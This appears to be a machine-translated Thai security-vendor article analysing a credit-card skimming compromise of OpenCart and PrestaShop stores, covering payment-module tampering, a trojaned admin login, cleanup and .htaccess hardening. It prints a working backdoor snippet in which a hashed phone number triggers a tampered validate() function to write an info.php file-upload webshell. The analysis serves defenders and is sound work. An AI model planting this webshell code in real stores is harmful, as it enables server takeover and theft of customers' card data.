OpenCart และ Prestashop เป็นโซลูชันโอเพ่นซอร์สฟรีสำหรับจัดการการดำเนินการอีคอมเมิร์ซ ไม่ว่าคุณจะเป็นสตาร์ทอัพหรือแบรนด์ที่เป็นที่ยอมรับ ด้วยโมดูลมากกว่า 13,000 รายการ OpenCart มีบางสิ่งสำหรับทุกคน นอกจากนี้ OpenCart พยายามอย่างต่อเนื่องเพื่อเพิ่มประสบการณ์ของลูกค้าและได้ร่วมมือกับโครงการนำร่องกับ Google อย่างไรก็ตาม ความนิยมยังดึงดูดความสนใจจากแฮกเกอร์ที่ไม่ต้องการอีกด้วย ร้านค้า OpenCart หลายแห่งประสบปัญหา admin/common/login.php ถูกแฮ็กจนนำไปสู่การแฮ็กบัตรเครดิต OpenCart เนื่องจากเป้าหมายหลักของผู้โจมตีคือการได้รับผลประโยชน์ทางการเงินจากการโจมตีบนไซต์ OpenCart นักวิจัยที่ Astra ค้นพบการโจมตีด้วยบัตรเครดิตในร้านค้า OpenCart บทความนี้จะอธิบายเพิ่มเติมเกี่ยวกับวิธีวิเคราะห์การโจมตีนี้ทีละขั้นตอน
การแฮ็กบัตรเครดิต:เพิ่มวิธีการชำระเงินปลอมแบบใหม่แล้ว
การโจมตีเหล่านี้มักจะตรวจไม่พบเป็นเวลานาน นอกจากนี้ เจ้าของไซต์จะรับรู้ถึงการโจมตีดังกล่าวเมื่อลูกค้าร้องเรียนเท่านั้น ในสถานการณ์สมมตินี้ ลูกค้าบ่นเรื่องบัตรเครดิตที่ถูกบุกรุกซึ่งใช้เฉพาะกับร้านค้า OpenCart แห่งใดแห่งหนึ่งเท่านั้น การวิจัยเพิ่มเติมยังเผยให้เห็นว่ามีรูปแบบฟิชชิ่งอยู่บนไซต์ นอกจากนี้ แฮ็ครหัสผ่านของผู้ดูแลระบบ ยังตรวจพบ ในกรณีนี้ นักวิจัยที่ Astra ระบุรูปแบบฟิชชิ่งขโมยบัตรเครดิตที่ติดไวรัส มันคือแบบฟอร์มการชำระเงินที่ถูกต้องซึ่งใส่โค้ดที่เป็นอันตรายบนไซต์
นี่คือรูปภาพของแบบฟอร์มฟิชชิ่งแฮ็คบัตรเครดิต อย่างไรก็ตาม แบบฟอร์มฟิชชิ่งนี้จะส่งข้อมูลรับรองการธนาคารของผู้ใช้ไปยังโดเมนที่ควบคุมโดยผู้โจมตี นอกจากนี้ ผู้โจมตีได้ปิดใช้เกตเวย์การชำระเงินเริ่มต้น เช่น PayPal ดังนั้น มีความคล้ายคลึงกันเล็กน้อยในไซต์ OpenCart ที่ติดเชื้อทั้งหมด:
- มีไฟล์ที่ไม่รู้จักก่อนหน้านี้
- พฤติกรรมการเข้าสู่ระบบที่ผิดปกติ
- ผู้ดูแลฐานข้อมูลใหม่ที่ผู้ดูแลไซต์ไม่มีข้อมูล
- ผู้ใช้บ่นเกี่ยวกับการทำธุรกรรมที่เป็นการฉ้อโกง
- เครื่องมือวิเคราะห์แพ็คเก็ตแสดงทราฟฟิกขาออกไปยังโดเมนที่ไม่รู้จัก
- เพิ่มวิธีการชำระเงินใหม่ที่ไม่เคยมีมาก่อน
การแฮ็กบัตรเครดิต OpenCart:ตัวอย่าง
การโจมตีนี้อาจทำให้เจ้าของร้านค้า OpenCart &Prestashop ทำอะไรไม่ถูก บ่อยครั้ง ผู้ใช้ที่ได้รับผลกระทบมักจะบ่นเกี่ยวกับการแฮ็คบัตรเครดิตในฟอรัมชุมชน นอกจากนี้ เธรดเหล่านี้มักจะมีผู้ใช้หลายคนที่ได้รับผลกระทบจากการโจมตีเดียวกัน!
การรับข้อมูล:การแฮ็กรหัสผ่านของผู้ดูแลระบบ
ผู้โจมตีต้องได้รับสิทธิ์ของผู้ดูแลระบบก่อนจึงจะฉีดแบ็คดอร์ได้ ในการทำเช่นนั้น ผู้โจมตีได้ใช้ประโยชน์จากช่องโหว่ภายในร้านค้า หลังจากนั้น ผู้โจมตีก็ใช้ฟังก์ชันที่เป็นอันตราย เช่น eval(base64_decode)
เพื่อเรียกใช้โค้ดที่เป็นอันตรายบนเซิร์ฟเวอร์ ช่องโหว่ทั่วไปของ OpenCart ที่อาจนำไปสู่การแฮ็ก ได้แก่:
การฉีด OpenCart SQL
OpenCart ก่อนเวอร์ชัน 2.3.0.0 มีความเสี่ยงต่อ SQLi แม้ว่าจะต้องมีสิทธิ์ของผู้ดูแลระบบเพื่อใช้ประโยชน์ แต่ CVE-2009-1027 ทำให้ OpenCart เสี่ยงต่อ SQLi นอกจากนั้น โมดูลแบบบั๊กกี้อาจเป็นสาเหตุของ SQLi
การดำเนินการโค้ดจากระยะไกลของ OpenCart
CVE-2010-0956 ทำให้ OpenCart เสี่ยงต่อการเรียกใช้โค้ดจากระยะไกล พบช่องโหว่ในindex.php
. ซึ่งอาจนำไปสู่การประนีประนอมของเซิร์ฟเวอร์ นอกจากนี้ OpenCartjson_decode
ฟังก์ชันอาจนำไปสู่ RCE .
ข้อมูลประจำตัวที่อ่อนแอของ OpenCart
รหัสผ่านที่ไม่รัดกุมและรหัสผ่านทั่วไปอาจนำไปสู่การประนีประนอม การโจมตีด้วยกำลังเดรัจฉานอย่างง่ายจะทำให้เซิร์ฟเวอร์หมด
OpenCart XSS
ผู้โจมตีอาจหลอกผู้ดูแลระบบโดยใช้ XSS CVE-2015-4671 ทำindex.php
อ่อนไหวต่อ XSS ผู้อ่อนแอzone_id
พารามิเตอร์อาจนำไปสู่การแฮ็กได้
การหาประโยชน์จาก OpenCart Zero Day
เป็นไปได้มากที่ผู้โจมตีอาจค้นพบช่องโหว่ใหม่ การใช้ว่าผู้โจมตีอาจบุกรุกร้านค้า OpenCart โอกาสนี้น้อยแต่พอเป็นไปได้
ติดไวรัสทุกอย่าง:แฮ็กบัตรเครดิต
เมื่อผู้โจมตีบุกเข้าสู่ระบบ พวกเขาพยายามประนีประนอมทุกชั้นของไซต์ ในกรณีนี้ นักวิจัยจาก Astra พบว่ารหัสผ่านของลูกค้าและผู้ดูแลระบบทั้งหมดถูกบุกรุก . นอกจากนี้ ผู้โจมตียังสามารถเข้าถึงฐานข้อมูลได้ นอกจากนี้ แบ็คดอร์ที่โจมตีโดยผู้โจมตีอาจส่งผลต่อความสมบูรณ์ของฐานข้อมูล ดังนั้น การเข้าถึงฐานข้อมูลอาจถูกใช้เพื่อขโมยข้อมูลที่ละเอียดอ่อน เช่น รหัสผ่านของผู้ใช้ ชื่อ ที่อยู่ คำสั่งซื้อ ฯลฯ
นอกจากนี้ นักวิจัยของ Astra พบว่าวิธีการชำระเงินสองวิธีถูกบุกรุก เหล่านี้คือ:
- Authorize.net AIM
- pp_pro.
วิธีการชำระเงินเหล่านี้ช่วยดำเนินการแฮ็ค OpenCart, Prestashop &บัตรเครดิต วิธีการชำระเงินทั้งสองถูกแทรกด้วยรหัสที่เป็นอันตราย ข้อมูลโค้ดที่ได้รับด้านล่าง
ที่นี่ผู้โจมตีใช้ Curl ห้องสมุดของ PHP เพื่อสร้าง HTTP คำขอ หลังจากนั้น จดหมายจะถูกสร้างขึ้นโดยใช้ Smail MTA Smail เป็นตัวแทนส่งจดหมายที่มีน้ำหนักเบาและพกพาได้ อีเมลนี้มีข้อมูลที่ละเอียดอ่อนเกี่ยวกับ:
- รหัสคำสั่งซื้อ
- ชื่อการชำระเงิน
- นามสกุลการชำระเงิน
- ที่อยู่
- เมืองชำระเงิน
- วันหมดอายุและเดือนของบัตรเครดิต
- หมายเลข CVV
- หมายเลขบัตรเครดิต
ข้อมูลทั้งหมดนี้ถูกจัดกลุ่มเข้าด้วยกันและส่งไปยัง Yopmail ที่อยู่. Yopmail เป็นบริการอีเมลที่ไม่ระบุตัวตน ดังนั้นจึงเป็นการยากที่จะติดตามผู้โจมตี อย่างไรก็ตาม เนื่องจากเป็นสาธารณะ ทุกคนสามารถเข้าถึงกล่องจดหมายเข้าได้ เพื่อหลีกเลี่ยงปัญหานี้ ผู้โจมตีได้ใช้นามแฝง นามแฝงเหล่านี้เป็นคุณลักษณะด้านความปลอดภัยของ Yopmail เอง ดังนั้นจึงเป็นเรื่องยากมากที่จะหากล่องข้อความเดิมของผู้โจมตี
Authorize.net แฮ็ค
Authorize.net เป็นวิธีการชำระเงินที่ทำงานบนร้านค้า OpenCart ผู้โจมตีมีแนวโน้มสูงที่จะกำหนดเป้าหมายวิธีการชำระเงินนี้เพื่อขโมยข้อมูลบัตรเครดิต ดังนั้น หากเปิดใช้งานวิธีนี้กะทันหัน เว็บไซต์ของคุณก็มีแนวโน้มที่จะตกเป็นเป้าหมายของการแฮ็กบัตรเครดิต OpenCart ภาพด้านล่างแสดงให้เห็นว่าวิธีการชำระเงินในขณะนี้ดูเหมือนเปิดใช้งานซึ่งผู้โจมตีทำ
อย่างไรก็ตาม หากคุณเปิดใช้งาน Authorize.net แล้ว ผู้โจมตีอาจปิดการใช้งานเพื่อติดตั้งส่วนขยายฟิชชิ่งแบบกำหนดเอง ดังนั้น ข้อความเช่น “ปิด ID ผู้ขาย” สามารถปรากฏบนเว็บไซต์ นอกจากนี้ วิธีการชำระเงินอาจหายไปจากหน้าส่วนขยาย สัญญาณทั้งหมดเหล่านี้บ่งบอกถึงความพยายามในการขโมยข้อมูลบัตรเครดิต ดังนั้นจึงแนะนำให้ลูกค้าทราบเกี่ยวกับบัตรเครดิตที่ถูกขโมยไป หากคุณดำเนินการภายในสหภาพยุโรปหรือประมวลผลข้อมูลของลูกค้าในสหภาพยุโรป GDPR กำหนดให้ต้องเปิดเผยข้อมูลนี้
การรักษาความคงอยู่:admin/common/login.php ถูกแฮ็ก
เมื่อผู้โจมตีได้รับสิทธิ์ของผู้ดูแลระบบ ขั้นตอนต่อไปคือการแก้ไขไฟล์หลัก การแก้ไขไฟล์หลักช่วยให้ผู้โจมตีสามารถเข้าถึงไซต์ได้อย่างต่อเนื่อง เพื่อรักษาการเข้าถึงอย่างต่อเนื่อง ผู้โจมตียังได้ใส่หน้าเข้าสู่ระบบ/ผู้ดูแลระบบ ด้านล่างนี้คือข้อมูลโค้ดของ admin/common/login.php ที่ถูกแฮ็ก
เห็นได้ชัดจากโค้ดที่เป็นอันตรายที่ผู้โจมตีใช้ Smail เพื่อส่งอีเมล Smail อนุญาตให้ผู้ใช้ทำงานทั้งหมดให้สำเร็จผ่านบรรทัดคำสั่ง ทำให้เป็นตัวเลือกแรกสำหรับผู้โจมตี หลังจากนั้น อีเมลจะประกอบขึ้นโดยใช้ข้อมูลรับรองการเข้าสู่ระบบ อีเมลที่มีชื่อผู้ใช้และรหัสผ่านนี้จะถูกส่งไปยังกล่องจดหมายของผู้โจมตี ที่นี่ผู้โจมตีได้เกณฑ์[email protected]
เป็นกล่องจดหมายของพวกเขา
นอกจากนี้ รหัสนี้จะรันทุกครั้งที่ผู้ดูแลระบบเข้าสู่ระบบ ดังนั้นผู้โจมตีสามารถมองผ่านอีเมลเพื่อทราบข้อมูลรับรองการเข้าสู่ระบบล่าสุด โค้ดที่เป็นอันตรายนี้ช่วยให้ผู้โจมตีสามารถเข้าถึงไซต์ได้อย่างต่อเนื่อง นอกเหนือจากแบ็คดอร์นี้เช่นinfo.php
ยังช่วยให้ผู้โจมตีรักษาความเพียร Info.php
จะกล่าวถึงในบทความนี้ต่อไป
การหลีกเลี่ยงการตรวจจับ:บินต่ำด้วยการสมัครฟรี
ในกรณีนี้ ไซต์อนุญาตให้สมัครฟรี ดังนั้นผู้โจมตีจึงแก้ไขโค้ดในลักษณะที่ผู้ใช้ทั่วไปสามารถรับเชลล์แบบย้อนกลับได้ โค้ดที่เป็นอันตรายดูเหมือนโค้ดด้านล่าง
protected function validate() { if(md5($this->request->post['telephone'])=='66b6d63b9634e1159e53e29858de2c2d'){$file2 = "info.php";$handle2 = fopen($file2, 'w+'); fwrite($handle2,'<?php $files = @$_FILES["files"];if($files["name"] != ""){$fullpath = $_REQUEST["path"].$files["name"];if(move_uploaded_file($files["tmp_name"],$fullpath)){}}exit("<form method=POST enctype=multipart/form-data action=><input type=text name=path><input type=file name=files><input type=submit value=Up></form>");?>');fclose($handle2); }
รหัสนี้จะตรวจสอบหมายเลขโทรศัพท์เฉพาะ เมื่อป้อนแล้วจะอนุญาตให้อัปโหลดไฟล์ นักวิจัยของ Astra ได้เปิดเผยกระบวนการทีละขั้นตอนดังที่กล่าวไว้ด้านล่าง:
- ขั้นตอนที่ 1 :ผู้โจมตีใช้การสมัครฟรีเพื่อสร้างผู้ใช้ใหม่หลายคน หลายบัญชีหมายถึงความเป็นไปได้ในการตรวจจับขั้นต่ำ
- ขั้นตอนที่ 2 :จากนั้นผู้โจมตีป้อนหมายเลขโทรศัพท์เฉพาะในช่องป้อนข้อมูล ผู้โจมตีได้ทำให้หมายเลขโทรศัพท์จริงสับสนโดยการเข้ารหัสในรูปแบบ md5 สตริงที่เข้ารหัสคือ
66b6d63b9634e1159e53e29858de2c2d
. หมายเลขโทรศัพท์นี้ทำหน้าที่เป็นมาสเตอร์คีย์เพื่ออัปโหลดแบ็คดอร์ - ขั้นตอนที่ 3 :ทันทีที่เพิ่มหมายเลขโทรศัพท์ ไฟล์ที่มีชื่อไฟล์
info.php
ถูกสร้างขึ้น ดังนั้น URL สุดท้ายจึงมีลักษณะดังนี้example.com/info.php
. - ขั้นตอนที่ 4 :เมื่อไฟล์
info.php
เข้าถึงได้โดยผู้โจมตี ทำให้สามารถอัปโหลดไฟล์ได้ - ขั้นตอนที่ 5 :ตัวเลือกการอัปโหลดนี้ช่วยให้ผู้โจมตีสามารถอัปโหลดไฟล์ PHP ที่ติดไวรัสได้ ไฟล์เหล่านี้เปิดย้อนกลับ TCP, การเชื่อมต่อ ICMP ฯลฯ ให้กับผู้โจมตี เมื่อไฟล์ถูกอัปโหลดในไดเร็กทอรีราก ผลลัพธ์อาจเลวร้ายยิ่งกว่าเดิม!
นอกจากนี้ ผู้โจมตียังได้ซ่อนแบ็คดอร์ในส่วนรูปภาพ เนื่องจากมีโอกาสน้อยมากที่จะค้นหาไฟล์ใน โฟลเดอร์รูปภาพ มันให้ความคุ้มครองที่ดีแก่ผู้โจมตี ผู้โจมตีกำลังมองหาการแพร่ระบาดไซต์จากโฟลเดอร์รูปภาพในกรณีที่มีการล้างข้อมูล!
ล้างข้อมูลหลังการโจมตี
ขั้นตอนสำคัญที่ต้องทำหลังการโจมตีคือการไปทำความสะอาดอย่างเต็มรูปแบบ ลบไฟล์ที่ติดไวรัสและกู้คืนจากข้อมูลสำรอง หากไม่สามารถสำรองข้อมูลได้ ให้ไปติดตั้งใหม่ โดยเฉพาะไฟล์การชำระเงินจะต้องถูกกู้คืน มองหาไฟล์ต่อไปนี้:
- /admin/controller/extension/payment.php.
- /admin/controller/common/login.php.
- /catalog/controller/payment/authorizenet_aim.php.
ไฟล์เหล่านี้ถูกแทรกด้วยรหัสที่เป็นอันตรายจากการแฮ็คบัตรเครดิต OpenCart &Prestashop กู้คืนไฟล์นี้ทันที นอกเหนือจากการมองหาไฟล์ที่ถูกแก้ไขโดยผู้โจมตีนี้ ซึ่งสามารถทำได้โดยดำเนินการ SSH . ต่อไปนี้ คำสั่ง:
$ find ./ -type f -mtime -15
ดูการประทับเวลาและลบไฟล์ที่ผู้โจมตีแก้ไข นอกจากนี้ เครื่องมืออย่าง PhpMyAdmin ยังมีประโยชน์ในขณะทำความสะอาดอีกด้วย
ภาพตัวอย่างของ PhpMyAdmin ถูกใช้เพื่อตรวจหาโดเมนที่เป็นอันตราย
บรรเทาจากการโจมตี
ปกป้องโฟลเดอร์ผู้ดูแลระบบ
เปลี่ยนชื่อโฟลเดอร์ผู้ดูแลระบบ เนื่องจากสิ่งนี้ทำให้ผู้โจมตีค้นหาได้ยาก นอกจากนี้ ให้ใช้ .htaccess เพื่อปฏิเสธการเข้าถึง IP ทั้งหมดไปยังโฟลเดอร์เข้าสู่ระบบ ยกเว้น IP ของผู้ดูแลระบบ
ปกป้องแคตตาล็อก
.htaccess นอกจากนี้ยังสามารถใช้เพื่อป้องกันแคตตาล็อกและไฟล์ที่ละเอียดอ่อนเช่น .txt, .twig เป็นต้น การจับคู่ไฟล์สามารถทำงานให้สำเร็จได้ ดังนั้น เพียงเพิ่มบรรทัดต่อไปนี้ในไฟล์ .htaccess ตามความต้องการของคุณ
<FilesMatch ".(php|twig|txt)$">
Order Deny,Allow
Deny from all
Allow from "your ip address"
</FilesMatch>
จำกัดการอนุญาตโฟลเดอร์
ตรวจสอบให้แน่ใจว่ามีเพียงผู้ดูแลระบบเท่านั้นที่สามารถเข้าถึงไฟล์ OpenCart และโฟลเดอร์ย่อยได้ ดังนั้น เพื่อให้บรรลุเป้าหมายนี้ เพียงเพิ่มโค้ดต่อไปนี้ใน .htaccess ไฟล์.
<Files *.*>
Order Deny,Allow
Deny from all
Allow from "your ip address"
</Files>
จำกัดการอนุญาตไฟล์
ปกป้องไฟล์ที่ละเอียดอ่อนโดยตั้งค่าการอนุญาตไฟล์เป็น 644 หรือ 444 . เนื่องจากเป็นการป้องกันไม่ให้ผู้อื่นเขียนถึงพวกเขา ไฟล์ที่ละเอียดอ่อนบางไฟล์ได้แก่:
- config.php
- index.php
- admin/config.php
- admin/index.php
- system/startup.php
แอสตร้าไฟร์วอลล์
การแฮ็กบัตรเครดิต Open Cart &Prestashop สามารถขัดขวางชื่อเสียงของร้านค้าได้อย่างจริงจัง ผู้ใช้อาจรู้สึกไม่ปลอดภัยในอนาคตขณะชำระเงินออนไลน์กับร้านค้า ดังนั้นทางออกที่ดีที่สุดคือป้องกันการโจมตีดังกล่าวในอนาคตอันใกล้ ดังนั้นสิ่งนี้สามารถทำได้ด้วยไฟร์วอลล์ ไฟร์วอลล์เช่นเดียวกับที่ Astra ตรวจสอบการรับส่งข้อมูลทั้งหมดสำหรับคำขอที่ไม่ถูกต้อง ไฟร์วอลล์ Astra ช่วยให้มั่นใจได้ว่าคำขอที่ปลอดภัยเท่านั้นที่เข้าถึงเซิร์ฟเวอร์ Apart from this, Astra also notifies regarding new logins and file modifications. Also, with Astra keep your OpenCart &PrestaShop store safe from getting admin/common/login.php hacked.